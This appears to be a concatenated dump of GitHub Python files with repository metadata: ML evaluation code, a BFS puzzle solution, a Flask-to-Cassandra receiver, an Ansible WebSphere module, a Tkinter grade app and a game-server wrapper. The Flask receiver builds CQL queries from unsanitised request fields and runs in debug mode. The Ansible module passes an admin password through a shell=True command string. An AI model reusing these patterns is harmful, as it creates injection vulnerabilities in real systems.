{:.4f}/{:.4f}/{:.4f}/{:.4f}'.format(hacc, macc, acc_base, acc_novel))\n metric = hiou\n if cfg.MODEL.get('BINARY_HEAD', False):\n logger.info('binary_mAcc/binary_allAcc: {:.4f}/{:.4f}.'.format(binary_macc, binary_all_acc))\n else:\n for i in dataloader.dataset.valid_class_idx:\n logger.info('Class {} : iou/acc/b_acc {:.4f}/{:.4f}/{:.4f}.'.format(\n class_names[i], iou_class[i], acc_class[i], binary_acc_class[i])\n )\n miou = np.mean(np.array(iou_class)[dataloader.dataset.valid_class_idx])\n macc = np.mean(np.array(acc_class)[dataloader.dataset.valid_class_idx])\n logger.info('-----------------------------------')\n logger.info('mIoU: {:.4f}'.format(miou)) \n logger.info('mAcc: {:.4f}'.format(macc)) \n metric = miou\n\n if writer is not None and cfg.LOCAL_RANK == 0:\n writer.add_scalar('mIoU_val', miou, epoch_id + 1)\n writer.add_scalar('allAcc_val', allAcc, epoch_id + 1)\n writer.add_scalar('binary_mAcc_val', binary_macc, epoch_id + 1)\n writer.add_scalar('binary_allAcc_val', binary_all_acc, epoch_id + 1)\n if 'base_class_idx' in cfg.DATA_CONFIG:\n writer.add_scalar('hIoU_val', hiou, epoch_id + 1)\n writer.add_scalar('IoU_novel_val', iou_novel, epoch_id + 1)\n torch.cuda.empty_cache()\n logger.info('****************Evaluation done.*****************')\n if best_metric is not None:\n if metric > best_metric:\n best_metric = metric\n best_epoch = epoch_id\n\n logger.info('Best epoch: {}, best metric: {}'.format(best_epoch, best_metric))\n return best_metric, best_epoch\n\n\ndef eval_inst(cfg, args, model, dataloader, epoch_id, logger, dist_test=False, writer=None,\n best_metric=None, best_epoch=-1, eval_output_dir=None):\n # results = []\n scan_ids, coords, colors = [], [], []\n all_sem_preds, all_sem_labels, all_offset_preds, all_offset_labels = [], [], [], []\n all_inst_labels, all_pred_insts, all_gt_insts = [], [], []\n world_size = commu_utils.get_world_size()\n dataset = dataloader.dataset\n dataloader.dataset.set_class_mode('all')\n # class_names = dataset.class_names\n num_class = len(dataset.class_names)\n\n logger.info('*************** EPOCH %s EVALUATION *****************' % epoch_id)\n model.eval()\n\n semantic_only = epoch_id - 1 < cfg.MODEL.INST_HEAD.CLUSTERING.PREPARE_EPOCH\n\n progress_bar = tqdm.tqdm(total=len(dataloader) * world_size, disable=cfg.LOCAL_RANK != 0)\n for i, batch in enumerate(dataloader):\n load_data_to_gpu(batch)\n batch['epoch'] = epoch_id - 1\n with torch.no_grad():\n ret_dict = model(batch)\n disp_dict = {}\n\n cur_sample_id = (i * args.test_batch_size) * world_size + cfg.LOCAL_RANK + 1\n if dist_test and cur_sample_id > dataloader.dataset.__len__():\n continue\n scan_ids.append(batch['scene_name'][0])\n coords.append(batch['points_xyz'])\n colors.append(batch['rgb'])\n all_sem_preds.append(ret_dict['seg_preds'].cpu().numpy())\n all_sem_labels.append(ret_dict['seg_labels'].cpu().numpy())\n all_offset_preds.append(ret_dict['pt_offsets'].cpu().numpy())\n all_offset_labels.append(ret_dict['pt_offset_label'].cpu().numpy())\n all_inst_labels.append(ret_dict['inst_label'].cpu().numpy())\n if not semantic_only:\n all_pred_insts.append(ret_dict['pred_instances'])\n all_gt_insts.append(ret_dict['gt_instances'])\n\n # results.append(result)\n progress_bar.set_postfix(disp_dict)\n progress_bar.update(world_size)\n progress_bar.close()\n # results = common_utils.collect_results_gpu(results, len(dataset))\n if dist_test:\n all_sem_preds = reduce(lambda x, y: x + y, commu_utils.all_gather(all_sem_preds))\n all_sem_labels = reduce(lambda x, y: x + y, commu_utils.all_gather(all_sem_labels))\n all_offset_preds = reduce(lambda x, y: x + y, commu_utils.all_gather(all_offset_preds))\n all_offset_labels = reduce(lambda x, y: x + y, commu_utils.all_gather(all_offset_labels))\n all_inst_labels = reduce(lambda x, y: x + y, commu_utils.all_gather(all_inst_labels))\n if not semantic_only:\n all_pred_insts = reduce(lambda x, y: x + y, commu_utils.all_gather(all_pred_insts))\n all_gt_insts = reduce(lambda x, y: x + y, commu_utils.all_gather(all_gt_insts))\n if cfg.LOCAL_RANK == 0:\n logger.info('Evaluate semantic segmentation and offset MAE')\n ignore_label = cfg.DATA_CONFIG.IGNORE_LABEL\n miou, iou_list = evaluate_semantic_miou(\n num_class, all_sem_preds, all_sem_labels, ignore_label, logger\n )\n acc = evaluate_semantic_acc(\n all_sem_preds, all_sem_labels, ignore_label, logger\n )\n mae = evaluate_offset_mae(\n all_offset_preds, all_offset_labels, all_inst_labels, ignore_label, logger\n )\n\n if not semantic_only:\n logger.info('Evaluate instance segmentation')\n # import ipdb; ipdb.set_trace(context=10)\n eval_min_npoint = getattr(cfg.MODEL.INST_HEAD, 'EVAL_MIN_POINT', None)\n inst_class_idx = dataloader.dataset.inst_class_idx\n inst_class_names = (np.array(dataset.class_names)[inst_class_idx]).tolist()\n scannet_eval = ScanNetEval(inst_class_idx, inst_class_names, eval_min_npoint)\n eval_res = scannet_eval.evaluate(all_pred_insts, all_gt_insts)\n scannet_eval.print_results(eval_res, logger, iou_list, dataset)\n if writer is not None:\n writer.add_scalar('val/AP', eval_res['all_ap'], epoch_id)\n writer.add_scalar('val/AP_50', eval_res['all_ap_50%'], epoch_id)\n writer.add_scalar('val/AP_25', eval_res['all_ap_25%'], epoch_id)\n logger.info('AP: {:.3f}. AP_50: {:.3f}. AP_25: {:.3f}'.format(\n eval_res['all_ap'], eval_res['all_ap_50%'], eval_res['all_ap_25%']))\n if hasattr(dataset, 'base_inst_class_idx'):\n res = []\n for c in eval_res['classes']:\n res.append(eval_res['classes'][c]['ap50%'] * 100.0)\n hAP, mAP, AP_base, AP_novel = metric_utils.get_open_vocab_metric(res,\n dataset.base_inst_class_idx, dataset.novel_inst_class_idx)\n logger.info('hAP/mAP/AP_base/AP_novel (50%): {:.2f}/{:.2f}/{:.2f}/{:.2f}'.format(hAP, mAP, AP_base, AP_novel))\n _AP = hAP\n else:\n _AP = eval_res['all_ap_50%']\n else:\n _AP = 0\n if writer is not None:\n writer.add_scalar('val/mIoU', miou, epoch_id)\n writer.add_scalar('val/Acc', acc, epoch_id)\n writer.add_scalar('val/Offset MAE', mae, epoch_id)\n if hasattr(dataset, 'base_inst_class_idx'):\n hiou, miou, iou_base, iou_novel = metric_utils.get_open_vocab_metric(\n iou_list, list(set(dataset.base_class_idx) & set(dataset.inst_class_idx)),\n dataset.novel_class_idx\n )\n logger.info('hIoU/mIoU/IoU_base/IoU_novel: {:.2f}/{:.2f}/{:.2f}/{:.2f}'.format(\n hiou, miou, iou_base, iou_novel))\n _iou = hiou\n else:\n _iou = miou\n metric = _AP\n logger.info('****************Evaluation done.*****************')\n if best_metric is not None:\n if metric > best_metric:\n best_metric = metric\n best_epoch = epoch_id\n\n logger.info('Best epoch: {}, best metric: {}'.format(best_epoch, best_metric))\n\n # ======== save to file =============\n if hasattr(args, 'save_results') and len(args.save_results) > 0:\n logger.info('Save results ...')\n if 'coords' in args.save_results:\n save_npy(eval_output_dir, 'coords', scan_ids, coords)\n save_npy(eval_output_dir, 'colors', scan_ids, colors)\n if 'semantic' in args.save_results:\n save_npy(eval_output_dir, 'semantic_pred', scan_ids, all_sem_preds)\n # save_npy(eval_output_dir, 'semantic_label', scan_ids, sem_labels)\n if 'offset' in args.save_results:\n save_npy(eval_output_dir, 'offset_pred', scan_ids, all_offset_preds)\n save_npy(eval_output_dir, 'offset_label', scan_ids, all_offset_labels)\n if 'instance' in args.save_results:\n nyu_id = dataloader.dataset.NYU_ID\n save_pred_instances(eval_output_dir, 'pred_instance', scan_ids, all_pred_insts, nyu_id)\n torch.cuda.empty_cache()\n return best_metric, best_epoch\n else:\n return None, None\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"CVMI-Lab/PLA","sub_path":"tools/eval_utils/eval_utils.py","file_name":"eval_utils.py","file_ext":"py","file_size_in_byte":14602,"program_lang":"python","lang":"en","doc_type":"code","stars":184,"dataset":"github-code","pt":"7"} +{"seq_id":"19547935869","text":"from collections import deque\n\ndef solution(rectangle, characterX, characterY, itemX, itemY):\n answer = 0\n board = [[ -1 for i in range (202)] for i in range(202)]\n dp = [[100000 for i in range(202)] for i in range(202)]\n for x1,y1,x2,y2 in rectangle:\n for i in range (2*x1,2*x2+1):\n for j in range (2*y1,2*y2+1):\n if i == 2*x1 or i == 2*x2 or j == 2*y1 or j == 2*y2:\n if board[i][j] == -1 or board[i][j] == 1:\n board[i][j] = 1 \n else:\n board[i][j] = 0 \n q = deque()\n q.append([2*characterX,2*characterY])\n dp[2*characterX][2*characterY] = 0\n while q:\n x,y = q.popleft()\n tmp = [[x,y+1],[x,y-1],[x+1,y],[x-1,y]]\n for a,b in tmp:\n if board[a][b] == 1:\n if dp[a][b] > dp[x][y] + 1:\n dp[a][b] = dp[x][y] + 1\n q.append([a,b])\n return dp[2*itemX][2*itemY] /2 \n","repo_name":"MinHoon-LEE/Ps_Sql","sub_path":"Programmers/Algorithm/Python/87694/87694.py","file_name":"87694.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"74897186144","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom flask import Flask, Response, request\nfrom cassandra.cluster import Cluster\nimport ast\n\ncluster = Cluster(['10.91.17.54'])\nsession = cluster.connect()\n\nheader = []\nvalues = []\npreviousTable = ''\n\napp = Flask(__name__)\n@app.route('/', methods=['POST'])\ndef get_data():\n global session, previousTable, header, values\n dict = ast.literal_eval(request.data)\n for k in dict['record'].keys():\n k1 = str(k)\n if k1 == 'index':\n del(dict['record']['index'])\n print(dict)\n keyspace = dict['keyspace']\n tablename = dict['tablename']\n values = []\n\n if (tablename != previousTable):\n header = []\n previousTable = tablename\n session.execute(\"CREATE KEYSPACE IF NOT EXISTS \"+keyspace+\" WITH REPLICATION = {'class': 'SimpleStrategy', 'replication_factor': '3'}\")\n session.set_keyspace(keyspace)\n\n for columnName, val in dict['record'].iteritems():\n header.append(columnName)\n\n for columName in range(0, len(header)):\n if columName == 0:\n #session.execute(\"\"\"CREATE TABLE IF NOT EXISTS tvs(\"\"\" +header[i] +\"\"\" text,PRIMARY KEY (\"\"\" +header[0] +\"\"\"))\"\"\")\n session.execute(\"\"\"CREATE TABLE IF NOT EXISTS \"\"\"+tablename+\"\"\"(\"\"\" + header[columName] + \"\"\" text,PRIMARY KEY (\"\"\"+header[columName]+\"\"\"))\"\"\")\n else:\n session.execute(\"\"\"ALTER TABLE \"\"\"+tablename+\"\"\" ADD \"\"\"+ header[columName] +\"\"\" text\"\"\")\n print(\"****************Table created successfully!!!!\")\n\n for columnName, val in dict['record'].iteritems():\n values.append(str(val))\n\n\n query = \"\"\"INSERT INTO \"\"\"+tablename+\"\"\"(\"\"\"\n\n for i in range(0, len(header)):\n query += header[i] + \"\"\",\"\"\"\n query = query[:-1]\n query += \"\"\")\"\"\" + \"\"\" VALUES\"\"\"\n\n for row in range(len(values)):\n if (row != 0):\n insertQuery = ''\n data = tuple(values)\n insertQuery = query\n insertQuery += str(data)\n session.execute(insertQuery)\n print(\"*******************Data inserted\")\n return Response('We recieved something…')\n\nif __name__ == '__main__':\n app.run('0.0.0.0', 5000, debug=True)\n","repo_name":"allaramanaidu/sendToCassandraAndFlaskURL","sub_path":"src/receiveFromFlaskappToCassndra.py","file_name":"receiveFromFlaskappToCassndra.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33602499976","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n# Copyright (c) 2015 Amir Mofasser (@amimof)\r\n\r\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\r\n\r\nDOCUMENTATION = \"\"\"\r\nmodule: profile_dmgr\r\nversion_added: \"1.9.4\"\r\nshort_description: Manage a WebSphere Application Server profile\r\ndescription:\r\n - Manage a WebSphere Application Server profile\r\noptions:\r\n state:\r\n required: false\r\n choices: [ present, absent ]\r\n default: \"present\"\r\n description:\r\n - The profile should be created or removed\r\n name:\r\n required: true\r\n description:\r\n - Name of the profile\r\n wasdir:\r\n required: true\r\n description:\r\n - Path to installation folder of WAS\r\n cell_name:\r\n required: false\r\n description:\r\n - Cell Name\r\n host_name:\r\n required: false\r\n description:\r\n - Deployment manager host name\r\n node_name:\r\n required: false\r\n description:\r\n - Deployment manager node name\r\n password:\r\n required: false\r\n description:\r\n - Deployment manager password\r\n username:\r\n required: false\r\n description:\r\n - Deployment manager username\r\n state:\r\n required: false\r\n choices: [ present, absent ]\r\n default: \"present\"\r\n description:\r\n - The profile should be created or removed\r\n template:\r\n required: false\r\n choices: [ management, default ]\r\n default: \"management\"\r\n description:\r\n - The profile name which should be used (management = dmgr, default = base)\r\nauthor: \"Amir Mofasser (@amofasser)\"\r\n\"\"\"\r\n\r\nEXAMPLES = \"\"\"\r\n# Install:\r\nprofile_dmgr: state=present wasdir=/usr/local/WebSphere name=dmgr cell_name=mycell host_name=dmgr.domain.com node_name=mycell-dmgr username=wasadmin password=waspass\r\n# Install (Base version):\r\nprofile_dmgr: state=present wasdir=/usr/local/WebSphere name=dmgr cell_name=mycell host_name=dmgr.domain.com node_name=mycell-dmgr username=wasadmin password=waspass port=12000 profile=default\r\n# Uninstall\r\nprofile_dmgr: state=absent wasdir=/usr/local/WebSphere name=dmgr\r\n\"\"\"\r\n\r\nimport os\r\nimport subprocess\r\nimport platform\r\nimport datetime\r\nimport shutil\r\n\r\ndef isProvisioned(dest, profileName): \r\n \"\"\"\r\n Runs manageprofiles.sh -listProfiles command and stores the output in a dict\r\n :param dest: WAS installation dir\r\n :param profilesName: Profile Name\r\n :return: boolean\r\n \"\"\"\r\n if not os.path.exists(dest):\r\n return False\r\n else:\r\n child = subprocess.Popen(\r\n [\"{0}/bin/manageprofiles.sh -listProfiles\".format(dest)],\r\n shell=True,\r\n stdout=subprocess.PIPE,\r\n stderr=subprocess.PIPE\r\n )\r\n stdout_value, stderr_value = child.communicate()\r\n \r\n if profileName in stdout_value: \r\n return True\r\n return False\r\n\r\n\r\ndef main():\r\n\r\n # Read arguments\r\n module = AnsibleModule(\r\n argument_spec = dict(\r\n state = dict(default='present', choices=['present', 'absent']),\r\n wasdir = dict(required=True),\r\n name = dict(required=True),\r\n cell_name = dict(required=False),\r\n host_name = dict(required=False),\r\n node_name = dict(required=False),\r\n username = dict(required=False),\r\n password = dict(required=False),\r\n template = dict(default='management', choices=['management', 'default'])\r\n )\r\n )\r\n\r\n state = module.params['state']\r\n wasdir = module.params['wasdir']\r\n name = module.params['name']\r\n cell_name = module.params['cell_name']\r\n host_name = module.params['host_name']\r\n node_name = module.params['node_name']\r\n username = module.params['username']\r\n password = module.params['password']\r\n template = module.params['template']\r\n\r\n # Check if paths are valid\r\n if not os.path.exists(wasdir):\r\n module.fail_json(msg=wasdir+\" does not exists\")\r\n\r\n # Create a profile\r\n if state == 'present':\r\n \r\n if module.check_mode:\r\n module.exit_json(\r\n changed=False, \r\n msg=\"Profile {0} is to be created\".format(name)\r\n )\r\n\r\n if not isProvisioned(wasdir, name):\r\n child = subprocess.Popen(\r\n [\"{0}/bin/manageprofiles.sh -create \"\r\n \"-profileName {1} \"\r\n \"-profilePath {0}/profiles/{1} \"\r\n \"-templatePath {0}/profileTemplates/{8} \"\r\n \"-cellName {2} \"\r\n \"-hostName {3} \"\r\n \"-nodeName {4} \"\r\n \"-enableAdminSecurity true \"\r\n \"-adminUserName {5} \"\r\n \"-adminPassword {6} \".format(wasdir, name, cell_name, host_name, node_name, username, password, template)], \r\n shell=True, \r\n stdout=subprocess.PIPE, \r\n stderr=subprocess.PIPE\r\n )\r\n stdout_value, stderr_value = child.communicate()\r\n if child.returncode != 0:\r\n module.fail_json(\r\n msg=\"Dmgr profile creation failed\", \r\n stdout=stdout_value, \r\n stderr=stderr_value\r\n )\r\n\r\n module.exit_json(\r\n changed=True, \r\n msg=\"profile {0} created successfully\".format(name), \r\n stdout=stdout_value,\r\n stderr=stderr_value\r\n )\r\n else:\r\n module.exit_json(\r\n changed=False,\r\n msg=\"profile {0} already exists\".format(name)\r\n )\r\n\r\n # Remove a profile\r\n if state == 'absent':\r\n \r\n if module.check_mode:\r\n module.exit_json(\r\n changed=False, \r\n msg=\"Profile {0} is to be removed\".format(name)\r\n )\r\n\r\n if isProvisioned(wasdir, name):\r\n\r\n child = subprocess.Popen(\r\n [\"{0}/bin/manageprofiles.sh -delete \"\r\n \"-profileName {1}\".format(wasdir, name)],\r\n shell=True, \r\n stdout=subprocess.PIPE, \r\n stderr=subprocess.PIPE\r\n )\r\n stdout_value, stderr_value = child.communicate()\r\n if child.returncode != 0:\r\n # manageprofiles.sh -delete will fail if the profile does not exist.\r\n # But creation of a profile with the same name will also fail if\r\n # the directory is not empty. So we better remove the dir forcefully.\r\n if not stdout_value.find(\"INSTCONFFAILED\") < 0:\r\n shutil.rmtree(\"{0}/profiles/{1}\".format(wasdir, name), ignore_errors=False, onerror=None)\r\n else:\r\n module.fail_json(\r\n msg=\"Profile {0} removal failed\".format(name), \r\n stdout=stdout_value, \r\n stderr=stderr_value\r\n )\r\n\r\n module.exit_json(\r\n changed=True, \r\n msg=\"Profile {0} removed successfully\".format(name), \r\n stdout=stdout_value, \r\n stderr=stderr_value\r\n )\r\n else:\r\n module.exit_json(\r\n changed=False,\r\n msg=\"Profile {0} does not exist\".format(name)\r\n )\r\n\r\n\r\n# import module snippets\r\nfrom ansible.module_utils.basic import *\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"amimof/ansible-websphere","sub_path":"library/profile_dmgr.py","file_name":"profile_dmgr.py","file_ext":"py","file_size_in_byte":7429,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"7"} +{"seq_id":"34161210229","text":"import sqlite3\nimport tkinter as tk\nfrom tkinter import messagebox\n\n# Fungsi untuk menambahkan data ke database\ndef tambah_data():\n try:\n nama = entry_nama.get()\n nilai_biologi = int(entry_biologi.get())\n nilai_fisika = int(entry_fisika.get())\n nilai_inggris = int(entry_inggris.get())\n\n # Menentukan prediksi fakultas\n if nilai_biologi > nilai_fisika and nilai_biologi > nilai_inggris:\n prediksi = 'Kedokteran'\n elif nilai_fisika > nilai_biologi and nilai_fisika > nilai_inggris:\n prediksi = 'Teknik'\n elif nilai_inggris > nilai_biologi and nilai_inggris > nilai_fisika:\n prediksi = 'Bahasa'\n else:\n prediksi = 'Tidak Dapat Diprediksi'\n\n # Menyimpan data ke database\n conn = sqlite3.connect('datamurid.db')\n cursor = conn.cursor()\n cursor.execute('''CREATE TABLE IF NOT EXISTS nilai_siswa (\n nama_siswa TEXT,\n biologi INTEGER,\n fisika INTEGER,\n inggris INTEGER,\n prediksi_Prodi TEXT\n )''')\n cursor.execute(\"INSERT INTO nilai_siswa VALUES (?, ?, ?, ?, ?)\",\n (nama, nilai_biologi, nilai_fisika, nilai_inggris, prediksi))\n conn.commit()\n conn.close()\n \n \n # Menampilkan message box dengan prediksi\n messagebox.showinfo(\"Success\", \"Prediksi Fakultas: {}\".format(prediksi))\n except sqlite3.Error as e:\n messagebox.showerror(\"Error\", \": {}\".format(prediksi))\n\n\n# Membuat GUI menggunakan Tkinter\nroot = tk.Tk()\nroot.geometry (\"400x400\")\nroot.resizable(False, False)\nroot.title(\"Input Nilai Siswa\")\n\nlabel_nama = tk.Label(root, text=\"Nama Siswa:\")\nlabel_nama.pack()\nentry_nama = tk.Entry(root)\nentry_nama.pack()\n\nlabel_biologi = tk.Label(root, text=\"Nilai Biologi:\")\nlabel_biologi.pack()\nentry_biologi = tk.Entry(root)\nentry_biologi.pack()\n\nlabel_fisika = tk.Label(root, text=\"Nilai Fisika:\")\nlabel_fisika.pack()\nentry_fisika = tk.Entry(root)\nentry_fisika.pack()\n\nlabel_inggris = tk.Label(root, text=\"Nilai Inggris:\")\nlabel_inggris.pack()\nentry_inggris = tk.Entry(root)\nentry_inggris.pack()\n\nbutton_submit = tk.Button(root, text=\"Submit\", command=tambah_data)\nbutton_submit.pack()\n\nroot.mainloop()\n","repo_name":"muhfarrasm/pythonDB_036","sub_path":"pythonDB.py","file_name":"pythonDB.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20162584782","text":"import shlex\nimport asyncio\nfrom pathlib import Path\nimport os\nimport re\nfrom collections import deque\n\nfrom .config.dom5 import DOM5_PATH\n\nSTATUS_TIMEOUT = \"timed out\"\nSTATUS_MAPGEN = \"generating random map\"\nSTATUS_TURN_GEN = \"generating next turn\"\nSTATUS_ACTIVE = \"active\"\nSTATUS_SETUP = \"waiting to start\"\nSTATUS_INIT = \"initializing\"\nSTATUS_UNKNOWN = \"unknown\"\n\nclass GameUpdate:\n \n def __init__(self, match):\n self.__dict__.update(match.groupdict())\n\n @classmethod\n def match(cls, msg):\n match = cls.regex.match(msg)\n if match:\n return cls(match)\n else:\n return None\n\nclass Setup(GameUpdate):\n\n regex = re.compile(\n \"^Setup port (?P[0-9]+),?\" \n \"(?P[^()]*?) ?(?:\\(.*\\))?,?\"\n \" open: (?P[0-9]+),\" \n \" players (?P[0-9]+),\" \n \" ais (?P[0-9]+)$\"\n )\n\n def __init__(self, match):\n super().__init__(match)\n self.state = STATUS_SETUP\n\nclass Mapgen(GameUpdate):\n\n regex = re.compile(\n \"(?PRandom Map Generation), .*$\"\n )\n\n def __init__(self, match):\n super().__init__(match)\n self.state = STATUS_MAPGEN\n\nclass Active(GameUpdate):\n\n regex = re.compile(\n \"(?P[^ ,]+), Connections (?P[0-9]+),\" \n \" (?P[^()]*) (?:\\(.*\\))$\"\n )\n\n def __init__(self, match):\n super().__init__(match)\n self.state = STATUS_ACTIVE\n\nclass TurnAdvance(GameUpdate):\n\n regex = re.compile(\"^Generating next turn$\")\n\n def __init__(self, match):\n super().__init__(match)\n self.state = STATUS_TURN_GEN\n\nclass WhoPlayed(GameUpdate):\n\n regex = re.compile(\n \"^(?P(?:\\*?[a-zA-Z]{0,3}(?:\\+|-) ?)+)$\"\n )\n\n def __init__(self, match):\n self.who_played = []\n for nation in match.groupdict()[\"who_played\"].split():\n connected = \"*\" in nation\n turn = \"-\"\n if \"+\" in nation: turn = \"played\"\n if \"(\" in nation: turn = \"AI\"\n if \"?\" in nation: turn = \"unfinished\"\n nation = nation.translate({ord(c): \"\" for c in \"*+()?-\"})\n self.who_played.append((nation, turn, connected))\n\nclass PlayerList(GameUpdate):\n\n def __init__(self, players):\n self.players = players\n\nclass GameOver(GameUpdate):\n\n def __init__(self):\n self.finished = True\n\nclass Dom5Process:\n\n def __init__(\n self, \n stdin = asyncio.subprocess.PIPE, \n stdout = asyncio.subprocess.PIPE, \n stderr = asyncio.subprocess.STDOUT, \n **kwargs):\n cl_args = [\"-T\", \"-m\"]\n for key, value in kwargs.items():\n if key == \"thrones\" and value:\n thrones = [\"--thrones\"] + [str(n) for n in value]\n cl_args.extend(thrones)\n elif key == \"enablemod\" and value:\n for mod in value:\n cl_args.extend([\"--enablemod\", mod])\n elif value:\n cl_args.append(\"--\" + key)\n if type(value) is not bool:\n cl_args.append(str(value))\n cl_args = shlex.split(\" \".join(cl_args))\n self.process = asyncio.create_subprocess_exec(str(DOM5_PATH / \"dom5_amd64\"), \n *cl_args, stdin = stdin, \n stdout = stdout, stderr = stderr\n )\n self.tasks = []\n\n async def get_output(self):\n stdout, stderr = await self.process.communicate()\n self.output = stdout.decode()\n self.error = stderr\n\n async def run(self):\n self.process = await self.process\n try:\n await asyncio.gather(*self.tasks)\n await self.process.wait()\n except asyncio.CancelledError:\n self.process.terminate()\n await self.process.wait()\n\n def die(self):\n self.process.terminate()\n\nclass TCPServer(Dom5Process):\n update_types = [Setup, Active, Mapgen, WhoPlayed, TurnAdvance]\n \n def __init__(self, name, **game_settings):\n super().__init__(stderr = asyncio.subprocess.STDOUT, tcpserver = True, **game_settings)\n\n self.port = game_settings[\"port\"]\n\n async def write_name():\n try:\n self.process.stdin.write(bytes(name + \"\\n\", \"utf-8\"))\n except BrokenPipeError:\n print(\"Error writing to process.\")\n finally:\n self.process.stdin.close()\n\n self.tasks.append(write_name())\n self.tasks.append(self.read_from_stdout())\n self.tasks.append(self.check_for_gameover())\n self.update_queue = deque()\n\n async def read_from_stdout(self):\n while not self.process.stdout.at_eof():\n line = await self.process.stdout.readline()\n if line:\n line = line.decode()\n #print(f\"{self.port}: {line}\")\n for update_type in type(self).update_types:\n update = update_type.match(line)\n if update:\n self.update_queue.append(update)\n\n async def check_for_gameover(self):\n await self.process.wait()\n # TODO: handle \"address already in use\" error, which exits with return code 0.\n if self.process.returncode == 0: \n self.update_queue.append(GameOver())\n\n async def query(self):\n query = TCPQuery(self.port)\n await query.run()\n return query.output, query.error\n\n async def request_player_list(self):\n query_output, _ = await self.query()\n regex = re.compile(\"^player (?P[0-9]+):.*$\")\n players = []\n for line in query_output.split(\"\\n\"):\n match = regex.match(line)\n if match:\n nation_number = int(match.groupdict().get(\"nation_number\"))\n players.append(nation_number)\n update = PlayerList(players)\n self.update_queue.append(update)\n\n def has_updates(self):\n return len(self.update_queue) > 0\n\n def next_update(self):\n return self.update_queue.popleft()\n\nclass TCPQuery(Dom5Process):\n \n def __init__(self, port):\n super().__init__(nosteam = True, tcpquery = True, ipadr = \"localhost\", port = port)\n self.tasks.append(self.get_output())\n\nasync def list_nations():\n process = Dom5Process(nosteam = True, listnations = True)\n process.tasks.append(process.get_output())\n await process.run()\n output = process.output\n nations = {1: {}, 2: {}, 3: {}}\n for line in output.split(\"\\n\"):\n substrings = line.split()\n if not substrings:\n pass\n elif substrings[1] == \"Era\": \n key = int(substrings[2])\n else:\n nation_number = int(substrings[0])\n nation_name = \" \".join(substrings[1:])\n nations[key][nation_number] = nation_name\n return nations\n\nGAME_DEFAULTS = {\n \"nosteam\": True, # --nosteam Do not connect to steam (workshop will be unavailable) \n \"port\": 0, # --port X Use this port nbr\n \"postexec\": False, # --postexec CMD Execute this command after each new turn\n \"preexec\": False, # --preexec CMD Execute this command before each new turn\n \"era\": 1, # --era X New game created in this era (1-3)\n \"teamgame\": False, # --teamgame Disciple game, multiple players on same team\n \"clustered\": False, # --clustered Clustered start positions for team game\n \"closed\": False, # --closed X Nation closed X=nation number (5-249)\n \"mapfile\": None, # --mapfile XXX Filename of map. E.g. eye.map\n \"randmap\": 15, # --randmap X Make and use a random map with X prov per player (10,15,20)\n \"noclientstart\": False, # --noclientstart Clients cannot start the game during Choose Participants\n \"statuspage\": False, # --statuspage XX Create html page that shows who needs to play their turn\n \"scoredump\": False, # --scoredump Create a score file after each turn (scores.html)\n \"enablemod\": False, # --enabledmod Enable the mod with filename XXX\n# World Contents\n \"magicsites\": 50, # --magicsites X Magic site frequency 0-75 (default 40)\n \"indepstr\": 5, # --indepstr X Strength of Independents 0-9 (default 5)\n \"richness\": 100, # --richness X Money multiple 50-300 (default 100)\n \"resources\": 100, # --resources X Resource multiple 50-300 (default 100)\n \"recruitment\": 100, # --recruitment X Unit recruitment point multiple 50-300 (default 100)\n \"supplies\": 100, # --supplies X Supply multiple 50-300 (default 100)\n \"startprov\": 1, # --startprov X Number of starting provinces (1-9)\n# Divine Rules \n \"eventrarity\": 2, # --eventrarity X Random event rarity 1-2, 1=common 2=rare\n \"globals\": 5, # --globals X Global Enchantment slots 3-9 (default 5)\n \"thrones\": [3, 0, 0], # --thrones X Y Z Number of thrones of level 1, 2 and 3\n \"requiredap\": 3, # --requiredap X Ascension points required for victory (def total-1)\n \"conqall\": False, # --conqall Win by eliminating all opponents only\n \"cataclysm\": False, # --cataclysm X Cataclysm will occur on turn X (def off)\n \"hofsize\": 10, # --hofsize X Size of Hall of Fame 5-15 (default 10)\n \"noartrest\": False, # --noartrest Players can create more than one artifact per turn\n \"research\": 2, # --research X Research difficulty 0 to 4 (default 2)\n \"norandres\": False, # --norandres No random start research\n \"nostoryevents\": True, # --nostoryevents Disable all story events\n \"storyevents\": False, # --storyevents Enable some story events\n \"allstoryevents\": False, # --allstoryevents Enable all story events\n \"scoregraphs\": False, # --scoregraphs Enable score graphs during play\n \"nonationinfo\": False, # --nonationinfo No info at all on other nations\n # Advanced \n \"nocheatdet\": False, # --nocheatdet Turns off cheat detection\n \"renaming\": False, # --renaming Enable commander renaming\n \"masterpass\": None, # --masterpass XX Master password. E.g. masterblaster\n }","repo_name":"balinck/heavenlyhost","sub_path":"heavenly/dom5.py","file_name":"dom5.py","file_ext":"py","file_size_in_byte":9715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"1358761181","text":"import os\nimport math\nimport torch\nimport cv2 as cv\nimport numpy as np\n\n\n__all__ = [\n 'same_seeds',\n 'SineAnnealingLR',\n 'resize_image',\n 'letterbox_image'\n]\n\n\ndef same_seeds(seed=42):\n \"\"\"\n 固定随机种子\n \"\"\"\n np.random.seed(seed) # 保证后续使用random函数时,产生固定的随机数\n torch.manual_seed(seed) # 固定随机种子(CPU)\n if torch.cuda.is_available(): # 固定随机种子(GPU)\n torch.cuda.manual_seed(seed) # 为当前GPU设置\n torch.cuda.manual_seed_all(seed) # 为所有GPU设置\n # torch.backends.cudnn.benchmark = False # GPU、网络结构固定,可设置为True\n # torch.backends.cudnn.deterministic = True # 固定网络结构\n\n\ndef resize_image(image, size=256):\n \"\"\"\n 把短边resize到指定值,长边随比例进行resize\n \"\"\"\n h, w = image.shape[:2]\n\n if min(h, w) == size:\n return image\n\n else:\n if min(h,w) < size:\n inter_fn = cv.INTER_AREA\n else:\n inter_fn = 